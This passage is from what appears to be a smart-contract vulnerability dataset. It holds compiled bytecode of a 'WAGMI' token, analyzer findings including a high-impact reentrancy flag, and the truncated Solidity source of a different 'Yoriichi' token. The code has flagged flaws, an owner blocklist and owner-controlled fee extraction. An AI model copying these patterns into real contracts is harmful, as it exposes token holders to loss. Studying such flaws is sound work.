ff16146106f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ee90612cf8565b60405180910390fd5b80601060176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107556112fd565b73ffffffffffffffffffffffffffffffffffffffff161461077557600080fd5b600047905061078381611a12565b50565b60006107d0600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b9b565b9050919050565b6107df6112fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461086c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086390612cf8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f5741474d49000000000000000000000000000000000000000000000000000000815250905090565b60006109a461099d6112fd565b84846114d0565b6001905092915050565b6109b66112fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3a90612cf8565b60405180910390fd5b60005b8151811015610ad457600160066000848481518110610a6857610a67613155565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610acc906130ae565b915050610a46565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b196112fd565b73ffffffffffffffffffffffffffffffffffffffff1614610b3957600080fd5b6000610b4430610786565b9050610b4f81611c09565b50565b610b5a6112fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bde90612cf8565b60405180910390fd5b601060149054906101000a900460ff1615610c37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2e90612d78565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cca30600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce8000000611305565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d1057600080fd5b505afa158015610d24573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d4891906126ad565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610daa57600080fd5b505afa158015610dbe573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610de291906126ad565b6040518363ffffffff1660e01b8152600401610dff929190612b48565b602060405180830381600087803b158015610e1957600080fd5b505af1158015610e2d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e5191906126ad565b601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610eda30610786565b600080610ee561092a565b426040518863ffffffff1660e01b8152600401610f0796959493929190612b9a565b6060604051808303818588803b158015610f2057600080fd5b505af1158015610f34573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f599190612850565b5050506001601060166101000a81548160ff0219169083151502179055506001601060176101000a81548160ff0219169083151502179055506a295be96e640669720000006011819055506001601060146101000a81548160ff021916908315150217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161105e929190612b71565b602060405180830381600087803b15801561107857600080fd5b505af115801561108c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110b09190612823565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6111436112fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c790612cf8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611240576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123790612c78565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611375576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136c90612d58565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113dc90612c98565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114c39190612d98565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611540576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153790612d38565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156115b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115a790612c38565b60405180910390fd5b600081116115f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115ea90612d18565b60405180910390fd5b6115fb61092a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611669575061163961092a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561199e57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156117125750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61171b57600080fd5b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117c65750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561181c5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156118345750601060179054906101000a900460ff165b156118e45760115481111561184857600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061189357600080fd5b601e426118a09190612ece565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60006118ef30610786565b9050601060159054906101000a900460ff1615801561195c5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156119745750601060169054906101000a900460ff165b1561199c5761198281611c09565b6000479050600081111561199a5761199947611a12565b5b505b505b6119a9838383611e91565b505050565b60008383111582906119f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119ed9190612c16565b60405180910390fd5b5060008385611a059190612faf565b9050809150509392505050565b6000611a69611a2e600b54600c54611ea190919063ffffffff16565b611a5b633b9aca00611a4d612710600c54611eff90919063ffffffff16565b611eff90919063ffffffff16565b611f7a90919063ffffffff16565b90506000611aaa633b9aca00611a9c612710611a8e8787611eff90919063ffffffff16565b611f7a90919063ffffffff16565b611f7a90919063ffffffff16565b90506000611ac18285611fc490919063ffffffff16565b9050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050158015611b2b573d6000803e3d6000fd5b50600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611b94573d6000803e3d6000fd5b5050505050565b6000600854821115611be2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bd990612c58565b60405180910390fd5b6000611bec61200e565b9050611c018184611f7a90919063ffffffff16565b915050919050565b6001601060156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611c4157611c40613184565b5b604051908082528060200260200182016040528015611c6f5781602001602082028036833780820191505090505b5090503081600081518110611c8757611c86613155565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611d2957600080fd5b505afa158015611d3d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d6191906126ad565b81600181518110611d7557611d74613155565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611ddc30600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611305565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611e40959493929190612db3565b600060405180830381600087803b158015611e5a57600080fd5b505af1158015611e6e573d6000803e3d6000fd5b50505050506000601060156101000a81548160ff02191690831515021790555050565b611e9c838383612039565b505050565b6000808284611eb09190612ece565b905083811015611ef5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eec90612cb8565b60405180910390fd5b8091505092915050565b600080831415611f125760009050611f74565b60008284611f209190612f55565b9050828482611f2f9190612f24565b14611f6f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f6690612cd8565b60405180910390fd5b809150505b92915050565b6000611fbc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612204565b905092915050565b600061200683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506119ae565b905092915050565b600080600061201b612267565b915091506120328183611f7a90919063ffffffff16565b9250505090565b60008060008060008061204b876122d2565b9550955095509550955095506120a986600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fc490919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061213e85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ea190919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061218a8161234e565b612194848361240b565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516121f19190612d98565b60405180910390a3505050505050505050565b6000808311829061224b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122429190612c16565b60405180910390fd5b506000838561225a9190612f24565b9050809150509392505050565b6000806000600854905060006b033b2e3c9fd0803ce800000090506122a36b033b2e3c9fd0803ce8000000600854611f7a90919063ffffffff16565b8210156122c5576008546b033b2e3c9fd0803ce80000009350935050506122ce565b81819350935050505b9091565b60008060008060008060008060006123038a600a546122fe600c54600b54611ea190919063ffffffff16565b612445565b925092509250600061231361200e565b905060008060006123268e8787876124db565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061235861200e565b9050600061236f8284611eff90919063ffffffff16565b90506123c381600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ea190919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61242082600854611fc490919063ffffffff16565b60088190555061243b81600954611ea190919063ffffffff16565b6009819055505050565b6000806000806124716064612463888a611eff90919063ffffffff16565b611f7a90919063ffffffff16565b9050600061249b606461248d888b611eff90919063ffffffff16565b611f7a90919063ffffffff16565b905060006124c4826124b6858c611fc490919063ffffffff16565b611fc490919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806124f48589611eff90919063ffffffff16565b9050600061250b8689611eff90919063ffffffff16565b905060006125228789611eff90919063ffffffff16565b9050600061254b8261253d8587611fc490919063ffffffff16565b611fc490919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061257761257284612e4d565b612e28565b9050808382526020820190508285602086028201111561259a576125996131b8565b5b60005b858110156125ca57816125b088826125d4565b84526020840193506020830192505060018101905061259d565b5050509392505050565b6000813590506125e3816134cb565b92915050565b6000815190506125f8816134cb565b92915050565b600082601f830112612613576126126131b3565b5b8135612623848260208601612564565b91505092915050565b60008135905061263b816134e2565b92915050565b600081519050612650816134e2565b92915050565b600081359050612665816134f9565b92915050565b60008151905061267a816134f9565b92915050565b600060208284031215612696576126956131c2565b5b60006126a4848285016125d4565b91505092915050565b6000602082840312156126c3576126c26131c2565b5b60006126d1848285016125e9565b91505092915050565b600080604083850312156126f1576126f06131c2565b5b60006126ff858286016125d4565b9250506020612710858286016125d4565b9150509250929050565b600080600060608486031215612733576127326131c2565b5b6000612741868287016125d4565b9350506020612752868287016125d4565b925050604061276386828701612656565b9150509250925092565b60008060408385031215612784576127836131c2565b5b6000612792858286016125d4565b92505060206127a385828601612656565b9150509250929050565b6000602082840312156127c3576127c26131c2565b5b600082013567ffffffffffffffff8111156127e1576127e06131bd565b5b6127ed848285016125fe565b91505092915050565b60006020828403121561280c5761280b6131c2565b5b600061281a8482850161262c565b91505092915050565b600060208284031215612839576128386131c2565b5b600061284784828501612641565b91505092915050565b600080600060608486031215612869576128686131c2565b5b60006128778682870161266b565b93505060206128888682870161266b565b92505060406128998682870161266b565b9150509250925092565b60006128af83836128bb565b60208301905092915050565b6128c481612fe3565b82525050565b6128d381612fe3565b82525050565b60006128e482612e89565b6128ee8185612eac565b93506128f983612e79565b8060005b8381101561292a57815161291188826128a3565b975061291c83612e9f565b9250506001810190506128fd565b5085935050505092915050565b61294081612ff5565b82525050565b61294f81613038565b82525050565b600061296082612e94565b61296a8185612ebd565b935061297a81856020860161304a565b612983816131c7565b840191505092915050565b600061299b602383612ebd565b91506129a6826131d8565b604082019050919050565b60006129be602a83612ebd565b91506129c982613227565b604082019050919050565b60006129e1602683612ebd565b91506129ec82613276565b604082019050919050565b6000612a04602283612ebd565b9150612a0f826132c5565b604082019050919050565b6000612a27601b83612ebd565b9150612a3282613314565b602082019050919050565b6000612a4a602183612ebd565b9150612a558261333d565b604082019050919050565b6000612a6d602083612ebd565b9150612a788261338c565b602082019050919050565b6000612a90602983612ebd565b9150612a9b826133b5565b604082019050919050565b6000612ab3602583612ebd565b9150612abe82613404565b604082019050919050565b6000612ad6602483612ebd565b9150612ae182613453565b604082019050919050565b6000612af9601783612ebd565b9150612b04826134a2565b602082019050919050565b612b1881613021565b82525050565b612b278161302b565b82525050565b6000602082019050612b4260008301846128ca565b92915050565b6000604082019050612b5d60008301856128ca565b612b6a60208301846128ca565b9392505050565b6000604082019050612b8660008301856128ca565b612b936020830184612b0f565b9392505050565b600060c082019050612baf60008301896128ca565b612bbc6020830188612b0f565b612bc96040830187612946565b612bd66060830186612946565b612be360808301856128ca565b612bf060a0830184612b0f565b979650505050505050565b6000602082019050612c106000830184612937565b92915050565b60006020820190508181036000830152612c308184612955565b905092915050565b60006020820190508181036000830152612c518161298e565b9050919050565b60006020820190508181036000830152612c71816129b1565b9050919050565b60006020820190508181036000830152612c91816129d4565b9050919050565b60006020820190508181036000830152612cb1816129f7565b9050919050565b60006020820190508181036000830152612cd181612a1a565b9050919050565b60006020820190508181036000830152612cf181612a3d565b9050919050565b60006020820190508181036000830152612d1181612a60565b9050919050565b60006020820190508181036000830152612d3181612a83565b9050919050565b60006020820190508181036000830152612d5181612aa6565b9050919050565b60006020820190508181036000830152612d7181612ac9565b9050919050565b60006020820190508181036000830152612d9181612aec565b9050919050565b6000602082019050612dad6000830184612b0f565b92915050565b600060a082019050612dc86000830188612b0f565b612dd56020830187612946565b8181036040830152612de781866128d9565b9050612df660608301856128ca565b612e036080830184612b0f565b9695505050505050565b6000602082019050612e226000830184612b1e565b92915050565b6000612e32612e43565b9050612e3e828261307d565b919050565b6000604051905090565b600067ffffffffffffffff821115612e6857612e67613184565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612ed982613021565b9150612ee483613021565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612f1957612f186130f7565b5b828201905092915050565b6000612f2f82613021565b9150612f3a83613021565b925082612f4a57612f49613126565b5b828204905092915050565b6000612f6082613021565b9150612f6b83613021565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612fa457612fa36130f7565b5b828202905092915050565b6000612fba82613021565b9150612fc583613021565b925082821015612fd857612fd76130f7565b5b828203905092915050565b6000612fee82613001565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061304382613021565b9050919050565b60005b8381101561306857808201518184015260208101905061304d565b83811115613077576000848401525b50505050565b613086826131c7565b810181811067ffffffffffffffff821117156130a5576130a4613184565b5b80604052505050565b60006130b982613021565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156130ec576130eb6130f7565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6134d481612fe3565b81146134df57600080fd5b50565b6134eb81612ff5565b81146134f657600080fd5b50565b61350281613021565b811461350d57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a30b3e4bbca16629e153150a884e3c46936a953872431688d65f1c66893e908c64736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 8,484 |
0x6a12948b92Fd62F53f610B1B6aE1EA07064bE68c
|
/**
*Submitted for verification at Etherscan.io on 2021-11-08
*/
//SPDX-License-Identifier: MIT
// Telegram: t.me/YoriichiToken
pragma solidity ^0.8.7;
uint256 constant INITIAL_TAX=9;
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract Yoriichi is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000 * 10**6;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _burnFee;
uint256 private _taxFee;
address payable private _taxWallet;
string private constant _name = "Yoriichi";
string private constant _symbol = "YORIICHI";
uint8 private constant _decimals = 6;
IUniswapV2Router02 private _uniswap;
address private _pair;
bool private _canTrade;
bool private _inSwap = false;
bool private _swapEnabled = false;
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_burnFee = 2;
_taxFee = INITIAL_TAX;
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
emit Transfer(address(0x0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _pair && _swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswap.WETH();
_approve(address(this), address(_uniswap), tokenAmount);
_uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
modifier onlyTaxCollector() {
require(_taxWallet == _msgSender() );
_;
}
function lowerTax(uint256 newTaxRate) public onlyTaxCollector{
require(newTaxRate<INITIAL_TAX);
_taxFee=newTaxRate;
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!_canTrade,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_uniswap = _uniswapV2Router;
_approve(address(this), address(_uniswap), _tTotal);
_pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
_uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_swapEnabled = true;
_canTrade = true;
IERC20(_pair).approve(address(_uniswapV2Router), type(uint).max);
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external {
require(_msgSender() == _taxWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external {
require(_msgSender() == _taxWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
